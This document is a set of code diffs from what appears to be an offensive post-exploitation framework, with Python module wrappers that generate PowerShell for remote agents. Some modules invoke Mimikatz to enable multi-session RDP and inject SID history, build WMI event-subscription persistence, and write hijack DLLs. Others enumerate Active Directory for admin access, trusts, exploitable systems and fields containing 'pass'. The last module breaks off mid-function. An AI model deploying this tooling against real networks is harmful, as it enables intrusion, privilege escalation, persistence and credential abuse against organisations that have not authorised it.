# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
@ -56,7 +54,7 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
try:
f = open(moduleSource, 'r')
@ -69,11 +67,6 @@ class Module:
script = moduleCode
if self.options['LDAP']['Value'].lower() == "true":
script += "Invoke-MapDomainTrustsLDAP | ConvertTo-Csv -NoTypeInformation"
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrustsLDAP completed"'
else:
script += "Invoke-MapDomainTrusts | ConvertTo-Csv -NoTypeInformation"
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrusts completed"'
script += "Invoke-Mimikatz -Command '\"ts::multirdp\"';"
return script

View File

@ -178,17 +178,17 @@ class Module:
minutes = parts[1]
# create the WMI event filter for a system time
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
else:
# create the WMI event filter for OnStartup
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
statusMsg += " with OnStartup WMI subsubscription trigger."
# add in the event consumer to launch the encrypted script contents
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
# bind the filter and event consumer together
script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"

View File

@ -44,7 +44,7 @@ class Module:
'Value' : ''
},
'Groups' : {
'Description' : 'Groups/users to add to the sidhistory of the target user (space-separated).',
'Description' : 'Groups/users to add to the sidhistory of the target user (COMMA-separated).',
'Required' : True,
'Value' : ''
}
@ -77,8 +77,11 @@ class Module:
script = moduleCode
# ridiculous escape format
groups = " ".join(['"\\""'+group.strip().strip("'\"")+'"""' for group in self.options["Groups"]['Value'].split(",")])
# build the custom command with whatever options we want
command = "misc::addsid "+self.options["User"]['Value'] + " " + self.options["Groups"]['Value']
command = '""misc::addsid '+self.options["User"]['Value'] + ' ' + groups
# base64 encode the command to pass to Invoke-Mimikatz
script += "Invoke-Mimikatz -Command '\"" + command + "\"';"

View File

@ -122,6 +122,6 @@ class Module:
print helpers.color("[!] Error in launcher .bat generation.")
return ""
else:
script += "Write-HijackDll -HijackPath '"+hijackPath+"';"
# script += "Write-HijackDll -HijackPath '"+hijackPath+"';"
script += "Write-HijackDll -OutputFile '"+str(hijackPath)+"' -BatPath '"+str(batPath)+"';"
return script

View File

@ -0,0 +1,116 @@
import base64
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Find-Fruit',
'Author': ['@424f424f'],
'Description': ("Searches a network range for potentially vulnerable web services."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'Inspired by mattifestation Get-HttpStatus in PowerSploit'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Rhosts' : {
'Description' : 'Specify the CIDR range or host to scan.',
'Required' : True,
'Value' : ''
},
'Port' : {
'Description' : 'Specify the port to scan.',
'Required' : False,
'Value' : ''
},
'Path' : {
'Description' : 'Specify the path to a dictionary file.',
'Required' : False,
'Value' : ''
},
'Timeout' : {
'Description' : 'Set timeout for each connection in milliseconds',
'Required' : False,
'Value' : '50'
},
'UseSSL' : {
'Description' : 'Force SSL useage.',
'Required' : False,
'Value' : ''
},
'ShowAll' : {
'Description' : 'Switch. Show all results (default is to only show 200s).',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Find-Fruit.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "\nFind-Fruit"
showAll = self.options['ShowAll']['Value'].lower()
for option,values in self.options.iteritems():
if option.lower() != "agent" and option.lower() != "showall":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
if showAll != "true":
script += " | ?{$_.Status -eq 'OK'}"
script += " | Format-Table -AutoSize | Out-String"
return script

View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/xorrior/RandomPS-Scripts/blob/master/Invoke-WinEnum.ps1'
'https://github.com/xorrior/RandomPS-Scripts/blob/master/Invoke-WindowsEnum.ps1'
]
}
@ -35,25 +35,15 @@ class Module:
'Required' : True,
'Value' : ''
},
'Keyword' : {
'Description' : 'Specify a keyword to use in file searches.',
'Keywords' : {
'Description' : 'Array of keywords to use in file searches.',
'Required' : False,
'Value' : ''
},
'UserInfo' : {
'Description' : 'Switch. Enumerate user information.',
'UserName' : {
'Description' : 'UserName to enumerate. Defaults to the current user context.',
'Required' : False,
'Value' : 'True'
},
'SysInfo' : {
'Description' : 'Switch. Enumerate system information of the current host.',
'Required' : False,
'Value' : 'True'
},
'NetInfo' : {
'Description' : 'Switch. Enumerate the current network.',
'Required' : False,
'Value' : 'True'
'Value' : ''
}
}

View File

@ -1,108 +0,0 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetDomainController',
'Author': ['@harmj0y'],
'Description': ('Returns the domain controllers for the current domain or '
'the specified domain.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to query for domain controllers.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
script = """
function Get-NetDomain {
[CmdletBinding()]
param(
[String]
$Domain
)
if($Domain -and ($Domain -ne "")){
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch{
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else{
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
function Get-NetDomainController {
[CmdletBinding()]
param(
[string]
$Domain
)
$d = Get-NetDomain -Domain $Domain
if($d){
$d.DomainControllers
}
}
"""
script += "Get-NetDomainController "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script

View File

@ -1,83 +0,0 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetDomainTrusts',
'Author': ['@harmj0y'],
'Description': ('Return all domain trusts for the current domain or '
'a specified domain. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'Specific domain to query for trusts, defaults to current.',
'Required' : False,
'Value' : ''
},
'LDAP' : {
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
if self.options['LDAP']['Value'].lower() == "true":
script += "Get-NetDomainTrustsLDAP | Out-String | %{$_ + \"`n\"};"
else:
script += "Get-NetDomainTrusts | Out-String | %{$_ + \"`n\"};"
return script

View File

@ -0,0 +1,114 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-ExploitableSystem',
'Author': ['Scott Sutherland (@_nullbind)'],
'Description': ('Queries Active Directory for systems likely vulnerable to various '
'Metasploit exploits.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Return computers with a specific name, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'SPN' : {
'Description' : 'Return computers with a specific service principal name, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'OperatingSystem' : {
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'Filter' : {
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'Ping' : {
'Description' : "Switch. Ping each host to ensure it's up before enumerating.",
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to query for computers, defaults to the current domain.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,104 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Find-ComputerField',
'Author': ['@obscuresec', '@harmj0y'],
'Description': ("Searches computer object fields for a given word (default *pass*). Default field being searched is 'description'. Part of PowerView."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html',
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'SearchTerm' : {
'Description' : 'Term to search for, default of "pass".',
'Required' : False,
'Value' : ''
},
'SearchField' : {
'Description' : 'Field to search in, default of "description".',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,98 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Find-ForeignGroup',
'Author': ['@harmj0y'],
'Description': ("Enumerates all the members of a given domain's groups and finds users that are not in the queried domain. Part of PowerView."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'GroupName' : {
'Description' : 'Groupname to filter results for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -5,11 +5,11 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetUser',
'Name': 'Find-ForeignUser',
'Author': ['@harmj0y'],
'Description': ('Query information for a given user or users in the specified domain.'),
'Description': ("Enumerates users who are in groups outside of their principal domain. Part of PowerView."),
'Background' : True,
@ -35,23 +35,18 @@ class Module:
'Required' : True,
'Value' : ''
},
'OU' : {
'Description' : 'The OU to pull users from.',
'Required' : False,
'Value' : ''
},
'UserName' : {
'Description' : 'Username filter string, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'Filter' : {
'Description' : 'The complete LDAP query string to use to query for users.',
'Description' : 'Username to filter results for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to query for computers.',
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
}
@ -70,8 +65,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetUser.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -82,9 +79,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Get-NetUser "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -94,7 +92,7 @@ class Module:
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += " | Out-String"
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,113 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Find-GPOComputerAdmin',
'Author': ['@harmj0y'],
'Description': ('Takes a computer (or GPO) object and determines what users/groups have administrative access over it. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'ComputerName' : {
'Description' : 'The computer to determine local administrative access to.',
'Required' : False,
'Value' : ''
},
'OUName' : {
'Description' : 'OU name to determine who has local adminisrtative acess to computers within it.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'Recurse' : {
'Description' : 'Switch. If a returned member is a group, recurse and get all members.',
'Required' : False,
'Value' : ''
},
'LocalGroup' : {
'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,108 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Find-GPOLocation',
'Author': ['@harmj0y'],
'Description': ('Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'UserName' : {
'Description' : 'A (single) user name name to query for access.',
'Required' : False,
'Value' : ''
},
'GroupName' : {
'Description' : 'A (single) group name name to query for access.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'LocalGroup' : {
'Description' : 'The local group to check access against, "Administrators", "RDP/Remote Desktop Users", or a custom SID. Defaults to "Administrators".',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -5,12 +5,12 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-FindLocalAdminAccess',
'Name': 'Find-LocalAdminAccess',
'Author': ['@harmj0y'],
'Description': ('Finds machines on the local domain where the current user has '
'local administrator access.'),
'local administrator access. Part of PowerView.'),
'Background' : True,
@ -36,23 +36,18 @@ class Module:
'Required' : True,
'Value' : ''
},
'Hosts' : {
'Description' : 'Hosts to enumerate.',
'ComputerName' : {
'Description' : 'Hosts to enumerate, comma separated.',
'Required' : False,
'Value' : ''
},
'HostList' : {
'Description' : 'Hostlist to enumerate.',
'Required' : False,
'Value' : ''
},
'HostFilter' : {
'ComputerFilter' : {
'Description' : 'Host filter name to query AD for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'NoPing' : {
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
'Description' : "Don't ping each host to ensure it's up before enumerating.",
'Required' : False,
'Value' : ''
},
@ -62,7 +57,17 @@ class Module:
'Value' : ''
},
'Domain' : {
'Description' : 'Domain to enumerate for hosts.',
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'Threads' : {
'Description' : 'The maximum concurrent threads to execute.',
'Required' : False,
'Value' : ''
}
@ -81,8 +86,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-FindLocalAdminAccess.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -93,9 +100,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Invoke-FindLocalAdminAccess "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -106,6 +114,6 @@ class Module:
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`nInvoke-FindLocalAdminAccess completed"'
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,104 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Find-ComputerField',
'Author': ['@obscuresec', '@harmj0y'],
'Description': ("Searches user object fields for a given word (default *pass*). Default field being searched is 'description'."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html',
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'SearchTerm' : {
'Description' : 'Term to search for, default of "pass".',
'Required' : False,
'Value' : ''
},
'SearchField' : {
'Description' : 'Field to search in, default of "description".',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,128 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetComputer',
'Author': ['@harmj0y'],
'Description': ('Queries the domain for current computer objects. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Return computers with a specific name, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'SPN' : {
'Description' : 'Return computers with a specific service principal name, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'OperatingSystem' : {
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'Filter' : {
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'Printers' : {
'Description' : 'Switch. Return only printers.',
'Required' : False,
'Value' : ''
},
'Ping' : {
'Description' : "Switch. Ping each host to ensure it's up before enumerating.",
'Required' : False,
'Value' : ''
},
'FullData' : {
'Description' : "Switch. Return full computer objects instead of just system names (the default).",
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
